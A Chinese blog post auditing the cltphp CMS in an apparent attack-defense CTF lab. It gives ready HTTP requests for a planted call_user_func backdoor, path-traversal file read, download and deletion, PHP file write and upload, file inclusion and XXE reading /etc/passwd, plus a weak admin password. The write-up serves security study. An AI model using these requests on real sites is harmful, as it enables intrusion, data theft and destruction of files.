代码审计之cltphp | 风尘孤狼
0%

代码审计之cltphp

代码审计之cltphp

管理员弱口令

http://awd1/admin/index/index.html
admin/admin123

后台LOGO文件上传RCE

image-20240403222608728 image-20240403222621039
http://awd1/public//uploads//20240403//8accfcc2913a74644566dd05148479bc.php
注意:注意访问拼接时的路由
image-20240403222642604

后门命令执行

D:\phpstudy\WWW\awd1\app\admin\controller\Login.php
<?php
namespace app\admin\controller;
use think\Controller;
use app\admin\model\Admin;

class Login extends Controller
{
    
    public function _initialize(){

        if (session('aid')) {
            $this->redirect('index/index');
        }
    }
    private $cache_model,$system;
    public function index(){
        if(request()->isPost()) {
            $admin = new Admin();
            $data = input('post.');
            //if(!$this->check($data['captcha'])){
            //    return json(array('code' => 0, 'msg' => '验证码错误'));
            //}
            $num = $admin->login($data);
            if($num == 1){
                return json(['code' => 1, 'msg' => '登录成功!', 'url' => url('index/index')]);
            }else {
                return json(array('code' => 0, 'msg' => '用户名或者密码错误,重新输入!'));
            }
        }else{
            $this->cache_model=array('Module','Role','Category','Posid','Field','System');
            $this->system = F('System');
            if(empty($this->system)){
                foreach($this->cache_model as $r){
                    savecache($r);
                }
            }
            return $this->fetch();
        }
    }
    public function check($code){
       return captcha_check($code);
    }

    public function backdoor(){
       if ($_SERVER['HTTP_X_FORWARDED_FOR']==='8.8.8.8') {
            phpinfo();
          call_user_func($_GET['hongkexueyuan'],$_COOKIE['cmd']);
       }
    }
}

backdoor函数调用call_user_func,可以命令执行

GET /admin/login/backdoor?hongkexueyuan=system HTTP/1.1
Host: awd1
Cookie: cmd=whoami
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
X-Forwarded-For: 8.8.8.8
Accept-Language: zh-CN,zh;q=0.9

image-20240403225032929

任意文件夹读取【鸡肋】

http://awd1/deldom.php?dir=D:\
<?php   
 if (isset($_GET['dir'])){    
 $basedir=$_GET['dir'];   
 }else{   
 $basedir = '.';   
 }   
 $auto = 1;   
 checkdir($basedir);   
 function checkdir($basedir){   
 if ($dh = opendir($basedir)) {   
   while (($file = readdir($dh)) !== false) {   
    if ($file != '.' && $file != '..'){   
     if (!is_dir($basedir."/".$file)) {   
      echo "filename: $basedir/$file ".checkBOM("$basedir/$file")." <br>";   
     }else{   
      $dirname = $basedir."/".$file;   
      checkdir($dirname);   
     }   
    }   
   }   
 closedir($dh);   
 }   
 }   
 function checkBOM ($filename) {   
 global $auto;   
 $contents = file_get_contents($filename);   
 $charset[1] = substr($contents, 0, 1);   
 $charset[2] = substr($contents, 1, 1);   
 $charset[3] = substr($contents, 2, 1);   
 if (ord($charset[1]) == 239 && ord($charset[2]) == 187 && ord($charset[3]) == 191) {   
   if ($auto == 1) {   
    $rest = substr($contents, 3);   
    rewrite ($filename, $rest);   
    return ("<font color=red>BOM found, automatically removed._<a href=http://www.hengidc.com>http://www.hengidc.com</a></font>");   
   } else {   
    return ("<font color=red>BOM found.</font>");   
   }   
 }   
 else return ("BOM Not Found.");   
 }   
 function rewrite ($filename, $data) {   
 $filenum = fopen($filename, "w");   
 flock($filenum, LOCK_EX);   
 fwrite($filenum, $data);   
 fclose($filenum);   
 }   
 ?>

可以访问任意文件夹下有什么内容,但是不能读取,只是opendir

image-20240403225707356

只能遍历文件,读不了文件实际内容

后台wechat文件上传RCE

http://awd1/admin/index/index.html
image-20240403232952915 image-20240403233013876

任意文件下载【后台】

app\admin\controller\Database.php

关键代码

//下载
public function downFile() {
    $file = $this->request->param('file');
    $type = $this->request->param('type');
    if (empty($file) || empty($type) || !in_array($type, array("zip", "sql"))) {
        $this->error("下载地址不存在");
    }
    $path = array("zip" => $this->datadir."zipdata/", "sql" => $this->datadir);
    $filePath = $path[$type] . $file;
    if (!file_exists($filePath)) {
        $this->error("该文件不存在,可能是被删除");
    }
    $filename = basename($filePath);
    header("Content-type: application/octet-stream");
    header('Content-Disposition: attachment; filename="' . $filename . '"');
    header("Content-Length: " . filesize($filePath));
    readfile($filePath);
}

readfile($filePath);任意读取下载文件,直接让type满足条件,即可跨目录任意文件读

image-20240403234149484
GET /admin/Database/downFile?file=../../../../../flag.txt&type=sql HTTP/1.1
Host: awd1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: skin=0; PHPSESSID=0rnrqqcti770h61q2vll1scnb5
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

zip和sql的type跨目录级数不一样

image-20240403234411386
GET /admin/Database/downFile?file=../../../../../../flag.txt&type=zip HTTP/1.1
Host: awd1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: skin=0; PHPSESSID=0rnrqqcti770h61q2vll1scnb5
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

任意文件删除

app\admin\controller\Database.php

关键代码

//删除sql文件
public function delSqlFiles() {
    $batchFlag = input('param.batchFlag', 0, 'intval');
    //批量删除
    if ($batchFlag) {
        $files = input('key', array());
    }else {
        $files[] = input('sqlfilename' , '');
    }
    if (empty($files)) {
        $result['msg'] = '请选择要删除的sql文件!';
        $result['code'] = 0;
        return $result;
    }

    foreach ($files as $file) {
        $a = unlink($this->datadir.'/' . $file);
    }
    if($a){
        $result['msg'] = '删除成功!';
        $result['url'] = url('restore');
        $result['code'] = 1;
        return $result;
    }else{
        $result['msg'] = '删除失败!';
        $result['code'] = 0;
        return $result;
    }
}
http://awd1/admin/Database/delSqlFiles?sqlfilename=../../../../../flag.txt

可以搅屎,让对方down机,但是任意文件删除肯定不能得到flag

任意文件读取

app\admin\controller\Database.php

部分关键代码

//执行还原数据库操作
public function restoreData() {
    header('Content-Type: text/html; charset=UTF-8');
    $filename = input('sqlfilepre');
    $file = $this->datadir.$filename;

    //读取数据文件
    $sqldata = file_get_contents($file);
    $sqlFormat = $this->sql_split($sqldata,config('prefix'));

    foreach ((array)$sqlFormat as $sql){
        $sql = trim($sql);
        if (strstr($sql, 'CREATE TABLE')){
            preg_match('/CREATE TABLE `([^ ]*)`/', $sql, $matches);
            $ret = $this->excuteQuery($sql);
        }else{
            $ret =$this->excuteQuery($sql);
        }
    }
    $result['msg'] = '数据库还原成功!';
    $result['url'] = url('database/database');
    $result['code'] = 1;
    return $result;
}

这个其实真不容易发现,因为他的这个读取的内容实际上是在报错中体现出来的,还是那句话要是发现可能是漏洞的,那就试试!!!

http://awd1/admin/Database/restoreData?sqlfilepre=../../../../../flag.txt
image-20240403235138650

这里其实测试一下会发现显示内容是有长度的,毕竟是报错,只会显示一部分内容,长度短的话能显示完,正常flag是能显示完的

image-20240403235348554 image-20240403235411955

任意文件写入【后台】

app\admin\controller\Template.php
public function insert(){
    $filename = input('post.file');
    $type = input('post.type');
    $path = $type==$this->viewSuffix ?  $this->filepath : $this->publicpath.$type.'/';
    $file = $path.$filename.'.'.$type;
    if(file_exists($file)){
        $result['msg'] = '文件已经存在!';
        $result['status'] = 0;
        return $result;
    }
    file_put_contents($file,htmlspecialchars_decode(stripslashes(input('post.content'))));
    $result['msg'] = '添加成功!';
    if($type==$this->viewSuffix){
        $result['url'] = url('index');
    }else{
        $result['url'] = url('index',array('type'=>$type));
    }
    $result['code'] = 1;
    return $result;
}
image-20240408224148878
POST /admin/Template/insert.html HTTP/1.1
Host: awd1
Referer: http://awd1/admin/Template/add.html
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Origin: http://awd1
Cookie: skin=0; PHPSESSID=35k0fsl0hhe2ajeft9uoc27306
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 57

file=../1&type=php&content=<?php phpinfo();?>

这里file需要穿越到前边来才能上传php文件,测试了一下原因就是home目录里面没php文件夹,所以没办法传进去,当新建一个php文件夹,直接当前目录也是可以上传php文件的,如下【必须是名字是php的文件夹】

image-20240408224419999

任意文件修改【后台】

app\admin\controller\Template.php
public function update(){
    $filename = input('post.file');
    $type=  input('param.type') ? input('param.type') : $this->viewSuffix;
    $path = $type==$this->viewSuffix ?  $this->filepath : $this->publicpath.$type.'/';
    $file = $path.$filename;
    if(file_exists($file)){
        file_put_contents($file,htmlspecialchars_decode(stripslashes(input('content'))));
        $result['msg'] = '修改成功!';
        if($type==$this->viewSuffix){
            $result['url'] = url('index');
        }else{
            $result['url'] = url('index',array('type'=>$type));
        }
        $result['code'] = 1;
        return $result;
    }else{
        $result['msg'] = '文件不存在!';
        $result['code'] = 0;
        return $result;
    }
}

只能修改存在文件的文件内容,跨目录随便找个php文件即可

POST /admin/Template/update.html HTTP/1.1
Host: awd1
Accept: */*
Referer: http://awd1/admin/Template/edit/file/1.php.html.html
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Origin: http://awd1
Cookie: skin=0; PHPSESSID=35k0fsl0hhe2ajeft9uoc27306
Accept-Language: zh-CN,zh;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 58

file=../.././../index.php&type=&content=<?php phpinfo();?>
image-20240408224935852

任意文件删除【后台】

app\admin\controller\Template.php
public function delete(){
    $filename = input('param.file');
    $type = strtolower(substr($filename,strrpos($filename, '.')-strlen($filename)+1));
    $path = $type==$this->viewSuffix ? $path=$this->filepath : $this->publicpath.$type.'/';
    $file = $path.$filename;
    if(file_exists($file)){
        unlink($file);
        if($type==$this->viewSuffix){
            $this->redirect('index');
        }else{
            $this->redirect('index',array('type'=>$type));
        }
    }else{
        if($type==$this->viewSuffix){
            $this->redirect('index');
        }else{
            $this->redirect('index',array('type'=>$type));
        }
    }
}

这三个都是一个漏洞成因,这个任意文件删除也是跨目录删除已有文件

GET /admin/Template/delete.html?file=../../../../1.txt HTTP/1.1
Host: awd1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Referer: http://awd1/admin/Template/index.html
Cookie: skin=0; PHPSESSID=35k0fsl0hhe2ajeft9uoc27306
Upgrade-Insecure-Requests: 1

前台普通用户上传RCE

app\user\controller\UpFiles.php
<?php
namespace app\user\controller;
class UpFiles extends Common
{
    public function upload(){
        // 获取上传文件表单字段名
        $fileKey = array_keys(request()->file());
        // 获取表单上传文件
        $file = request()->file($fileKey['0']);
        // 移动到框架应用根目录/public/uploads/ 目录下
        $info = $file->move(ROOT_PATH . 'public' . DS . 'uploads');
        if($info){
            $result['code'] = 1;
            $result['info'] = '图片上传成功!';
            $path=str_replace('\\','/',$info->getSaveName());
            $result['url'] = '/uploads/'. $path;
            return $result;
        }else{
            // 上传失败获取错误信息
            $result['code'] =0;
            $result['info'] = '图片上传失败!';
            $result['url'] = '';
            return $result;
        }
    }
}

任意文件上传

POST /user/upFiles/upload HTTP/1.1
Host: awd1
Cookie: PHPSESSID=35k0fsl0hhe2ajeft9uoc27306
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://awd1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryiiPSm6Fu5YdTnTsY
Accept-Encoding: gzip, deflate
Referer: http://awd1/user/set/index.html
Accept-Language: zh-CN,zh;q=0.9
X-Requested-With: XMLHttpRequest
Content-Length: 192

------WebKitFormBoundaryiiPSm6Fu5YdTnTsY
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/jpeg

GIF89a
<?php phpinfo();?>
------WebKitFormBoundaryiiPSm6Fu5YdTnTsY--

任意文件包含【后台】

app\admin\controller\Template.php
public function edit(){
    $filename = input('param.file');
    if(input('param.type')){
        $type = input('param.type');
    }else{
        $type = strtolower(substr($filename,strrpos($filename, '.')-strlen($filename)+1));
    }
    $path = $type==$this->viewSuffix ?  $this->filepath : $this->publicpath.$type.'/';
    $file = $path.$filename;
    if(file_exists($file)){
        $file=iconv('gb2312','utf-8',$file);
        $content = htmlspecialchars(file_get_contents($file));
        $this->assign ( 'filename',$filename );
        $this->assign ( 'title','修改模版内容' );
        $this->assign ( 'file',$file );
        $this->assign ( 'content',$content );
    }else{
        $this->error('文件不存在!');
    }
    return $this->fetch();
}
http://awd1//admin/Template/edit.html?file=../../../../../../../flag.txt
image-20240408230453799

XXE

app\wchat\controller\Wchat.php
public function getMessage()
    {
   libxml_disable_entity_loader (false);
        $from_xml = file_get_contents('php://input');
        if (empty($from_xml)) {
            return;
        }
        $signature = input('msg_signature', '');
        $signature = input('timestamp', '');
        $nonce = input('nonce', '');
        $url = 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'] . '?' . $_SERVER['QUERY_STRING'];
        $ticket_xml = $from_xml;
        $postObj = simplexml_load_string($ticket_xml, 'SimpleXMLElement', LIBXML_NOCDATA);  //漏洞点
        $this->instance_id = 0;
        if (!empty($postObj->MsgType)) {
            switch ($postObj->MsgType) {
                case "text":
                    //用户发的消息   存入表中
                    //$this->addUserMessage((string)$postObj->FromUserName, (string) $postObj->Content, (string) $postObj->MsgType);
                    $resultStr = $this->MsgTypeText($postObj);
                    break;
                case "event":
                    $resultStr = $this->MsgTypeEvent($postObj);
                    break;
                default:
                    $resultStr = "";
                    break;
            }
        }
        if (!empty($resultStr)) {
            echo $resultStr;
        } else {
            echo '';
        }
    }

直接任意文件读取

POST /wchat/wchat/getMessage.html HTTP/1.1
Host: awd1
Cookie: PHPSESSID=35k0fsl0hhe2ajeft9uoc27306
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE convert[
<!ENTITY hzy SYSTEM "file:///etc/passwd">
]>
<root>
  <MsgType>111</MsgType>
  <ToUserName>&hzy;</ToUserName>
</root>
制作不易,如若感觉写的不错,欢迎打赏